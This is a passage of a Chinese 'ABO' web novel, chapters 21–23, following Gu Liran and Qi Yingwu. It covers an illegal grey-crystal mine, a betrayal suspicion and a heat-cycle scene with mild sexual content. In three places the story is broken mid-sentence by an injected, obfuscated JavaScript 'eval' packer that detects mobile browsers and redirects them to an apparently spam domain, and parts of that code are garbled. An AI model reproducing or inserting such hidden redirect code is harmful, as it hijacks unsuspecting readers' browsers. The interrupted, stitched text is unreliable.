他只是一项项地列出菲利斯的罪名,最后再冷冷道: “你犯了多少罪,其实我并不关心。” “我只关心,我在这里的生意要怎么才能更稳。” “我知道,你们这些人背后,还有另外一个人。” “让你买丨凶丨杀人的,让你偷埋炸丨药的,都是这个人。” “只要这个人在,我的生意就不稳。” 听到这里,趴在地上原本筛糠般抖个不停的菲利斯,突然就不抖了——直接吓到僵直了。 戚应物在一旁看着顾礼然这“黑丨手丨党大哥”的模样,再一次暗暗想笑,心道你要不要再叼根雪茄啊,这样更有氛围。 没想到,顾礼然真的取出了一根雪茄! 他端详着茄衣的纹理,漫不经心道: “你要是肯说个名字呢,你还能活。” “你要是太固执,那……” “啪嚓”! 顾礼然剪掉了雪茄帽。 随着这声动静,菲利斯又重新开始抖,而且抖动的幅度更大了。 最终,菲利斯又惊又惧又慌又恐地抬起头: “可是,可是,对方真的是个大人物……” “是最惹不起的人……” 说到这里,他惶恐的眼神向顾礼然两旁的保镖和戚应物身上扫了扫。 顾礼然做了个手势。 戚应物便同那两位“保镖”一起出了门。 厚重的古典雕花木门应声关上。 戚应物并未去刻意探听菲利斯在说什么。 他只是忍不住暗自揣测:菲利斯嘴里提到的“惹不起的大人物”,会是谁? ……总不至于是顾礼然本人吧,哈哈。 21.他只是在利用你 五分钟后,顾礼然从书房出来了。 他用光脑丢了个坐标给戚应物:“出发。” 那个坐标对应的是十一区的一片荒地。 一片深山峻岭中无人踏足的荒地。 但当戚应物将悬浮车停好,和顾礼然一起砍掉一堆障碍物之后,他惊奇地发现: 眼前是一个矿洞。 还不是那种年代久远工艺落后的人工矿洞。 矿洞的装置都是智能化设备,足以做到只要一个指令,就能自动完成从探测到挖掘到清洗的全部流程。 如果说,诺丁谷的其他采矿场,条件差得有如千年以前的古地球,处处都有工人不慎折断手脚,又或者引发爆丨炸,那么这个隐蔽的矿洞,其科技程度足以和二等星上的工场相媲美。 戚应物不解地看向顾礼然,不明白这个矿洞,和刚才菲利斯所说的“背后有人”是什么关系。 顾礼然缓缓道:“这是上次地震里,新露出来的一条矿脉——里面是灰晶。” 戚应物瞳孔一缩。 他知道这种灰晶。 虽然灰晶不能直接充当能源,但炼制之后可以做成精神力药剂,在帝国一直是属于高度管控的矿物,在黑市可以卖到近乎天价。 恰好,自己的族人们对于“如何用灰晶炼制药剂”,颇为精通。 当年重伤之后,外婆就想办法弄到过一小块灰晶,用密不外传的方法炼成药粉给自己服了下去。 虽说由于伤得太重,服下这种奇药也没能让精神力恢复,但好歹保住了“根基”,能够抵抗低等级的精神力压制。 顾礼然看出戚应物知道灰晶是什么,也就不做解释,继续道;“理论上,灰晶矿都应该由帝国政府直接管控,运输和销售也需要全程追踪。” “但这条矿一直没有登记。菲利斯他们彻底抹掉了这座矿的信息。” “这之后,他们挪用了重建基金来修建矿洞,秘密开采灰晶。” “这里出产的灰晶矿,他们全都拿去孝敬菲利斯所说的‘大人物’。” “‘大人物’再按黑市价格,分两成的纯利给他们。” “这两成的纯利——” 顾礼然说了一个金额。 这个金额,高得令人咋舌。 戚应物在脑子里整理一番,心中闪过一个念头,脱口而出道:“我知道了。” 顾礼然没说话,只站在雪亮的金属反光里,用探究的眼神看着他。 戚应物道:“我之前一直想不明白,为什么他们刻意拖慢重建进度,为什么伤亡率高得惊人,为什么禁用无人机,为什么直接屏蔽了此地的星寰网。” “现在终于弄明白了。” “天灾之后的诺丁谷,发展出了两个‘生态圈’!” “一个生态圈,产业凋敝,救济基金杯水车薪,居民们食不果腹,也无法用星寰网发求救信号,只能去唯一还在运转的人工采矿场拼死劳作,低价换取信用点。” “采矿场的老板——也就是这些负责重建的‘贵族老爷’,靠着几乎免费的劳动力赚得盆钵满载,不需要引入什么保障系统,不需要为工人的伤亡负责,出任何事都只要推给‘天灾’‘灾后重建还没来得及跟上’就够了。” “但长期这么做,一定会惊动帝国政府的巡查官。” “除非高层有人愿意为他们疏通。” “恰好诺丁谷还有另一个‘生态圈’。” “就是眼前这个灰晶矿。 “这个灰晶矿,完全和其他采矿场隔离开,不需要工人来操作,只有‘老爷们’知道它的存在。” “‘老爷们’向高层上供的灰晶,换来了他们的安全。” 戚应物说到后来,越发激动,最后连声音都高了不少:“这就是诺丁谷的这帮‘老爷们’,一直在掩藏的真相!” 听完戚应物的分析,顾礼然并未评价什么。 他只是转过身,用戴着手套的手指,碾过机械上附着的一点灰色闪光碎屑,眼里黑雾翻滚。 半响后,他才道:“戚船长。” 戚应物:“啊?” 顾礼然:“我如果告诉你,接下来,我需要你接过这些‘老爷们’的生意,继续开采灰晶,继续上供呢?” 戚应物呼吸一滞,再次觉得自己有点跟不上顾礼然的思路:“什么?” 顾礼然:“我要让你保留这个‘灰晶矿’的生态圈。不但如此,我还要你代表背后的‘金主’,去和‘大人物’抗议二八分成,要求提升到五五分成。” 戚应物忙道:“另一个圈呢?我是说,其他居民,那些灾民呢?!” 顾礼然:“这个我不干涉。和现在一样,按你的计划来。” 戚应物思索片刻,眼神一亮:“我知道了。” “你是想‘钓鱼’!” “菲利斯没敢告诉你背后的人是谁,但跟你说了这座矿的事。” “你现在是想把这背后的‘大人物’给钓出来!” 这年轻的Alpha率直一笑,神色是顾礼然此前从未见过的大方和真诚:“好,那我当然要好好配合你演戏,狠狠去抗议——等等,要去跟谁抗议?” 顾礼然稍稍调转视线,避开了戚应物眼里阳光般的亮色:“贾议德。” “贾议德多半才是那个牵线搭桥的人。” * 和顾礼然所猜测的一样,贾议德确实才是牵线的人。 这肥头大耳的委员长,一开始还想装傻。 结果顾礼然和戚应物一唱一和,再加上恰当好处的一点精神力威慑,贾议德彻底装不下去了。 最后,他面有难色地答应了下来: 戚船长想接手这个生意,他可以去谈;但是五五分成,“大人物”必定不会答应的,说不定还会惹恼了对方。 戚应物抱着双臂,冷冷道:“什么大人物?我得罪过的大人物多了去了。这唬不住我。” 原本被顾礼然的精神力压得畏畏缩缩不敢抬头的贾议德,此时昂起头,以一种不敢置信的眼神看向戚应物。 顾礼然轻咳一声,中断了话题:“我们回去等你的消息了,贾委员长。” * 从贾议德的私宅出来,天色已晚。 戚应物仰头看着满天星星,只觉神清气爽。 顾礼然侧头瞥了眼干劲十足、仿佛随时准备跑出去把飞盘叼回来的戚应物,在心中微微叹了口气。 这年轻人,眼里完全藏不住事。 现在还不能把真相告诉他。否则这戏就没法演了。 顾礼然也仰起头,看见天幕上星光闪动,淡淡说了一句:“后天,准备回首都星。” 戚应物一顿,诧异道:“这么快?” “不需要留在这里等消息吗?” “而且重建才有了眉目,这个时候不能撤吧?” 顾礼然:“按你的报告,你的工作大部分都可以远程进行。” “我带过来的‘保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436946|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镖’,会继续留在这里,供你调遣。” “这些‘保镖’里面,莱纳德和段磊都有过类似的经验。有他们盯着现场,不会有问题。” 戚应物思索片刻,点点头:“确实。” 他又想了想,突然意识到什么:“你不是说,你没看我的报告吗?那你怎么知道我的工作不需要守在这里了?” 顾礼然:“……随便扫了一眼而已。” 戚应物刚想揪住这前后矛盾的小把柄,顾礼然却探出手,稍稍拨了下他的额发:“你今天怎么了?心情很好?” 他的思路立刻被顾礼然带跑了。 他眼尾微微弯起,笨拙地想要藏起心底的快乐,却根本藏不住,只能信口开河道:“可能,嗯,发现自己还挺有演戏天赋的?” 顾礼然:“演戏?” 戚应物:“你看,我们刚才不是完全把贾议德唬住了?多好的演技啊。” 让戚应物有些意外的,顾礼然今天居然没有像以往那样从奇怪的角度“挑刺”,而只是点点头,没再说什么。 哈,真是难得。 顾礼然此时一定心情也不错吧? 他费这么多心思,伪装这么久,现在终于有大进展了! 如今看来,顾礼然当初所说的,要“身在其中”“好好查个究竟”,并不是一句假话。 他……他和菲利斯,和贾议德这些所谓的“贵族”,根本不是一路人。 嗯,或许之前在沃尔夫的家乡抢晶石的那件事,真的有别的原因。 待这次回去,有机会,我一定要好好问问他! * 定下来要回首都星后,戚应物这边还有许多要布置的细节。 直到临行前的那个上午,他还想起有份材料必须送到重建委员会。 眼看着大家都在忙,他自己取了材料,轻车熟路地进了委员会的大楼,直奔贾议德的办公室。 贾议德收下材料之后,装模作样看了半天,最后抬起头,皮笑肉不笑地盯着戚应物:“戚船长。” 戚应物皱皱眉头:“是这份材料还有什么不清楚的吗?” 贾议德扯了下嘴角:“戚船长,如今在诺丁谷风头正盛啊。” 戚应物心道自己还要赶着去空港呢没工夫和你闲聊。 他客套两句转身正要走,贾议德再次叫住他: “戚船长,我看你那天的表现,你们老板还没有告诉你,这背后的‘大人物’是谁吧。” 本来都已经离开的戚应物,听到这里后,转过身道:“这件事,顾先生自己也不知道。” 贾议德咧嘴一笑:“果然。” “戚船长,你们老板骗了你。” “菲利斯一定早就跟他说了——背后的人不是他这种暴发户能去碰瓷的。” “结果他反手就把你推出来,让你去接手这单生意,还让你去和对方要求五五分成。” “你说,他是不是在利用你。” 戚应物一挑眉毛:“别扯了。不可能的。” 贾议德嗤笑道:“不可能?那我现在就告诉你,这背后的人是谁。” “你可以自己判断一下,就凭你,凭你们,有没有这个本事去和对方叫板。” 他见戚应物的面色微变,放缓语速,一字一顿道:“这背后收走晶石的人,不是别人,是——顾、将、军!” “对,就是那位大名鼎鼎的顾将军,皇家军团的指挥官,帝国的晓之公爵,顾礼然将军!” 22.这么难过? 戚应物的第一反应是荒诞。 但正因为太荒诞,他不禁又多想了几步。 他想起了矿洞里顾礼然欲言又止的模样。 想起了被顾礼然刻意岔开的话题。 以及—— 以顾礼然的精神力威压程度,他怎么可能问不出真相? 甚至,再深想一步,他这样一位算无遗策的指挥官,怎么可能真的不做任何调查就一头扎进诺丁谷? 说不定,从一开始…… 想到这里,戚应物只觉得耳朵嗡嗡作响,脑子里更是乱成了一锅翻滚的粥。 他面上还强撑着镇定,嘴里还能反问:“别扯了,怎么可能是他。” 贾议德急道:“我何必扯这种慌,对我有什么意义?” 戚应物:“……你见过顾将军?本人?” 贾议德:“瞧你这点见识——将军怎么可能亲自出面!就我这资格,也够不上去见顾将军啊!” “但是,我见过他们家的特使。” 说到这里,贾议德嘿嘿两声:“虽然他们家的特使刻意隐姓埋名,还是不小心露了‘破绽’,让我查出来他们是顾家的人了。” “当然了,我们面上还是装作什么都不知道。毕竟,这件事,顾家肯定也不会希望太多的人知道。” 戚应物的眼睛阖上半秒,缓缓道:“我为什么要信你?” 贾议德掏心掏肺般解释着:“我也不跟你来虚的。我就是不想去找顾家提什么五五分。我是希望你也别提了,到时候我们商量一下,一起做个局,把你们那位顾老板糊弄过去作数。” “你们顾老板啊,别以为大家都姓顾。这个顾和那个顾,可完全不是一个档次啊!” “戚船长,你也再仔细想想,这要是真的谈下来了,哪怕是四六,也是你们顾老板实际得好处;要是没谈下来呢,他直接拿你去祭天赔罪。你,你犯不着啊。” 戚应物一言不发,面色铁青地出了门。 他的脚机械地动着,带着他在街上乱走了好一截。 他的大脑艰难地整理着乱麻一般的思绪。 顾礼然究竟是在做什么? 他花费这么多工夫,用这么多时间,绕了这么大一个圈子,他到底有什么目的? 等等,在绕这么一个大圈子之前,他能拿走八成的利润。 如今,他让我“接手生意”,那些灰晶,那些丰厚到足以让贵族把自己儿子都卖掉的利润,不就是百分之百都归他所有了?! 他轻而易举地除掉分成的人,再用一个假身份,左手倒右手,最终完全吃掉晶矿的利润,还不会在这种黑色地带留下一个“不讲规矩”“赶尽杀绝”的恶名。 ……不,不仅如此。 戚应物的心嘭嘭狂跳着,回忆起贾议德的另一句话——“虽然他们家的特使刻意隐姓埋名,还是不小心露了‘破绽’,让我查出来他们是顾家的人了”。 顾礼然之前就打算隐瞒身份,却还是被认出来了。 顾礼然想必发现了这点。 于是,他干脆重新捏了个身份,他自己,他的亲卫,全都是伪造的身份。 他先让我去要求五五分。这以后,完全可以再编个借口,改成七三,八二…… 最终,这处灰晶矿,将彻底归他捏造出来的这位“暴发户顾老板”所有,和“顾礼然将军”没有任何关系。 顾礼然,堂而皇之地把自己洗得干干净净。哪怕贾议德之流的犯了什么事,也没法再把顾礼然牵扯进来。 而我…… 从头到尾,只是他用来完成这次洗白,用来塑造这个身份的工具?! * 戚应物不记得自己是怎么回到旅馆的。 他独自在房间了坐了许久,直到悬浮车已经停在旅馆外等他上车了,他才木然地换上了驾驶服。 他想去找顾礼然问个明白。 但他很清楚,既然顾礼然刻意瞒着自己,那是无论如何都问不出个所以然来的。 那自己现在应该怎么办? 就这么被他利用吗? 不,不能。 撂挑子不干吗? 不,也不能。 不说别的,单看这个诺丁谷,看着那些终于盼来一点希望,终于不用再挤在窝棚里,终于能吃上像样的面包和肉干的人,自己就不能真的撂挑子不干啊。 戚应物的内心吵成一片。 他一步一步踏出旅馆,看着停在前方、载着顾礼然和艾科的悬浮车—— “戚船长!太好了!我赶上了!” 一声呼唤,打断了他的思绪。 回头一看,是药剂师小叶。 这位Omega大约是一路赶过来的,如今两颊通红气喘吁吁。 他手里抱着一个盖得严严实实的铁皮匣子,递到戚应物面前:“戚船长,这个,我自己做的饼干,给你……给你们路上吃。” “昨天的欢送会上,我看你做了很多咖啡焦糖味的小饼干,结果都被大家分吃着了。” “我就学着你的手法,今天试着烤了一炉。” 戚应物现在脑子还是木木的。 他接过饼干匣子,脸上连个笑都做不出来:“谢谢。” 小叶看他面上没什么表情,眼底不禁黯淡几分,但还是坚持问道:“你还会回来吧?” 戚应物:“……或许……吧。” 他又想了一下,笃定道:“会的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442311|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不管怎么样,只要这边是真的在重建,是真的能让大家都过得更好,那我就要把自己能做的都做了。 小叶不住点头:“好!好!我们都会等你的!” 戚应物这次礼貌地挤了个微笑出来。 他最后冲人点点头,抬腿登上了悬浮车。 一上车,先撞见顾礼然那双漆黑冰冷的眼睛。 戚应物挪开了视线。 他抱着饼干匣子,坐到了悬浮车的最后排。 顾礼然透过舷窗瞥向外面,声音却是冲着戚应物:“这么难过啊。” 简直就跟被主人抛弃了的金毛一样。 那双褐色的狗狗眼,好像下一秒就要掉泪了。 离开这里,离开这个Omega,让他这么难过吗?! 戚应物:“嗯。” 是很难过。 难过自己怎么这么蠢。 怎么会一次又一次地……误以为你可能还是个好人。 听见戚应物回答得这么干脆,这么的斩钉截铁,顾礼然的右手无意识地攥紧了座椅扶手。 他没说话。 甚至连嘴角都没再动一下。 可他眉宇间的阴霾,却肉眼可见的越来越重。 旁边的艾科凭着本能察觉到了不对劲。 他小心地偷眼打量着顾将军,又回过头去看看戚船长,心道今天这是怎么了? 这两人往常在一起的时候,氛围明明不是这样的啊!明明是有很多话要说,别人都插不进去那种啊! 这温柔体贴的Beta副官,决定试着打破这个僵局。 他看到戚应物怀里的饼干匣子,笑着问道:“里面是什么?是饼干吗?” 戚应物:“嗯。” 艾科又问:“是小叶做的?哇那一定很好吃!他手艺很好的!” 换做以往,戚应物一定会接话:“对,我们分着吃!” 可此时此刻的戚应物,心绪乱得一塌糊涂。 他根本没去想什么分享小饼干一类的事,只僵硬地重复了一句:“嗯,很好的。” 顾礼然的脸更黑了。 他甚至要控制着自己,才不至于将裹着软包的合金扶手给捏碎。 就这么舍不得吗? 就这么,毫不掩饰地,急不可待地,要展示出对那个Omega的珍惜吗? 完全不明白到底发生了什么的艾科,惊恐地看着顾将军手背上凸出来的青筋,心道为什么将军越来越生气了? 还有,为什么顾将军和戚船长,现在这状态和我家那陷入冷战的姐姐姐夫一样,一句话不说,但是不断地散发出恐怖的低气压啊? 天啊我还是闭嘴不要再说话了。 23.掉马 一个星期后。 戚应物坐在桌前,处理着来自诺丁谷的邮件。 他木着一张脸,快速地扫过一张张表格,一段段视频。 蓦的,他的视线停留在裘千发来的邮件上。 那是一组照片。 是他们在诺丁谷的时候,裘千“趁人不备”抓拍下来的照片。 戚应物随手点开一张,先看见了顾礼然的脸。 哦,这一张,是顾礼然骑着重机车,顶着大雨淋得浑身湿透赶过来那次。 照片是第二天清晨拍的。 顾礼然坐在自己旁边,握着咖啡杯,头微微向自己这边侧着,轻抿着嘴角,墨黑的眼睛闪着一点晨星般的光。 戚应物点开了另一张。 怎么还是顾礼然? 这是离开前的“欢送会”。 自己知道顾礼然不吃一般的甜食,所以烤了些咖啡焦糖味的小饼干。 照片上这个时刻,自己正好用盘子装着小饼干,递到了顾礼然面前。 顾礼然嘀咕着“好幼稚”,同时伸出修长手指,小心翼翼地夹起一块小饼干。 自己还记得,他吃掉小饼干之后,悄悄舔了下嘴唇,眼角弯出了极好看的弧度…… 戚应物心中一股烦乱,再次随手点开一张。 哦又是顾礼然。是还在鸣沙岭时,自己喝醉了对着他傻笑那次。 啧,裘千什么时候也成了顾礼然的迷弟?怎么所有的照片全是他,全是他,全是他。 那明明是个心狠手辣,会把人利用得一干二净的……败类。 戚应物关掉了这封邮件。 他正想看另一份报告,光幕上却漂起了来自于副官谢岭的消息。 消息无头无尾,只写着一个时间。 但戚应物还是看懂了。 * 戚应物准时到了那间小阁楼。 这一次,Omega到得比他早。 一进房间,便嗅到了冷冽的暗香。 不止如此,他还听见了Omega比往常更为急促一些的呼吸声。 黑暗中,戚应物沿着香气的指引,循着对方的声音,慢慢往前走,直到停在牀前。 对方的呼吸声稍稍缓和了些。 可空气里的冷香却来得更加凛冽。那干净而清冷的气息,铺天盖地般覆盖住了一切。 戚应物的喉结止不住地向下滑动,喉咙莫名的焦渴。 就在这时,他清晰无比地察觉到,一方带着凉意的皮肤,在他露在浴袍外的小腿上轻蹭一下—— 是Omega用赤着的脚尖,踢上了自己的腿。 一瞬间,他的脑海里,浮现出那只光洁的,白皙的,脚踝处有着一粒墨色小痣的脚。 他的脸,当即被这个意象炸得通红。 他垂下脑袋,低声道:“今天,是要……完全标记?” Omega:“对。” 戚应物:“……好的。” Omega并未像第一次完全标记时那样,让人仰面躺倒然后直接开始。 对方沉默了半响,用听不出起伏的声音问:“不愿意?” 戚应物忙道:“没有,怎么会。” 话音落下,戚应物察觉出,对方伸出手指,以一种漫不经心的态度,沿着自己浴袍的领子上下滑动。 对方又问:“那怎么一脸的魂不守舍?” 戚应物:! 对方的语速又慢了些:“……莫非,你还在想着什么人?” 戚应物的心跳顿时失去了章法。 他确实在想着另一个人。 现在如此。上次为Omega做完临时标记时,也是如此。 自己在发什么疯?哪有在为怀里的Omega做标记时,还想着另一个败类Alpha的? 意识到这一点的戚应物,耳朵尖都开始发红,忙不迭道歉道:“对不起,对不起。” “我会控制住的。” Omega没有接话。 良久,对方嗤笑一声,缓缓道:“你道什么歉?” 戚应物老实解释道:“那个,标记的时候,不,我是说,和你在一起的时候,我应该专心的。” Omega:“为什么。” 戚应物迷惑了:“……啊?” 什么……为什么? Omega站起来,手指用力攫住戚应物的下巴:“交易里,有要求你要专心吗?” 戚应物:“虽然是交易,但我……” 但我作为一个Alpha,总应该具备最基本的礼仪? Omega根本没让他说完。 对方的语调虽然听不出变化,音量却提高了:“我们的交易,仅仅是要求你提供信息素而已。” “其余的任何行为都毫无意义,你明白吗?!” “不管你脑子里想的是什么人,这都和我们的交易无关。” “你只要交出信息素,就够了——这才是交易,你懂吗!” 戚应物来不及应声,已被Omega直接攥住浴袍领子—— 这一瞬间,戚应物察觉到,Omega除了在剧烈地喘气,连胸膛都在不住起伏。 分明是气得要炸的状态。 戚应物没有因为对方突如其来的斥责而不满,只是伸出手试图按住Omega的手背:“怎么了?是遇到什么很难过的事了吗?” 然而,这样带着安抚意味的举动,似乎让Omega更愤怒了。 Omega以惊人的力气拧住他的手腕,再顺势一扭,将他整个人一把丢到牀上。 对方迅速欺身而上,利落至极地将他的手腕压过头顶,再用随手抽下的浴袍系帯牢牢捆住,居高临下道: “又在说这种废话。” “说起来,还是我的问题。” “一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451414|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始,就不该容忍你!” 话音落下,戚应物便觉得面颊一烫—— 是对方用手掌捂住了自己的下半张脸。 对方的手指凉得如冰如玉,掌心却烫得如火如焰。 ……这个体温,不正常。 戚应物想要问Omega是不是发烧了,却只能发出“唔唔”的声音。 与此同时,Omega的另一只手绕到他颈后,直接按住他的線体,动作近乎蛮暴。 顷刻间,带着糖果与海洋气息的信息素如洪水般濆俑,与早已失控的凛冽寒香纠缠在一起。 * 顾礼然仿佛被架在了火上。 每一次呼吸都让他遭受着被灼烧的煎熬。 每一寸皮肤都都变得脆弱不堪。哪怕是最柔软的布料,也会在碰触之间让他痛得呼吸错乱,痛到神志迷离。 他一手按住戚应物,另一只手则在自己身上无意识地乱抓,想要撕开一切的掩盖与束缚。 手指触到了颈间。 一个金属的薄片,贴在他的喉咙上,桎梏着他。 那锐利的触感,激得他浑身发抖。 他想也没想,直接剥掉了这个碍事的金属片。 可身体还在痛。 即使是以往最喜欢的甜香与海风,都不足以缓解这个疼痛。 不,这不够。 自己想要……更多…… * 空气里的信息素厚重得如同层层帐幔。 这样浓的信息素,足以摧散一切的意志与自持。 但戚应物还实在竭尽全力地抗拒着,努力维持着一点点的清醒。 因为他知道,现在Omega的状态不对,很不对。 如若就这么听任对方肆意,Omega一定会受伤的。 半响过去,当Omega落在他颈间的鼻息越发的重也越发的烫时,戚应物终于反应过来:是发热期! 这位Omega,突然到了发热期!而且是来势凶猛让人理智全无的发热期! 就跟回应他的想法一般,下一秒,伴着几声粗重的气音,Omega的身体摇晃几下,脱力般倒在一侧。 终于能重新说话的戚应物,急忙道:“别怕,别怕,我在这里-” 他堪堪挣脱缚住手腕的系带,慌忙将不停发抖的Omega搂在胸口—— 他听见了Omega低不可闻、尾音发颤的声音。 “难受……” “我……标记我……” 刹那之间,戚应物的心脏仿佛停止了跳动。 周遭的一切都失去了真实感。 不是因为发热期的Omega在渴求着标记。 而是因为,这个不再有变声器做掩饰的声音,这个颤栗而虚弱、引着人做出标记的声音,千真万确,无可置疑,来自于顾礼然,来自于那永远高高在上睥睨众人的Alpha指挥官。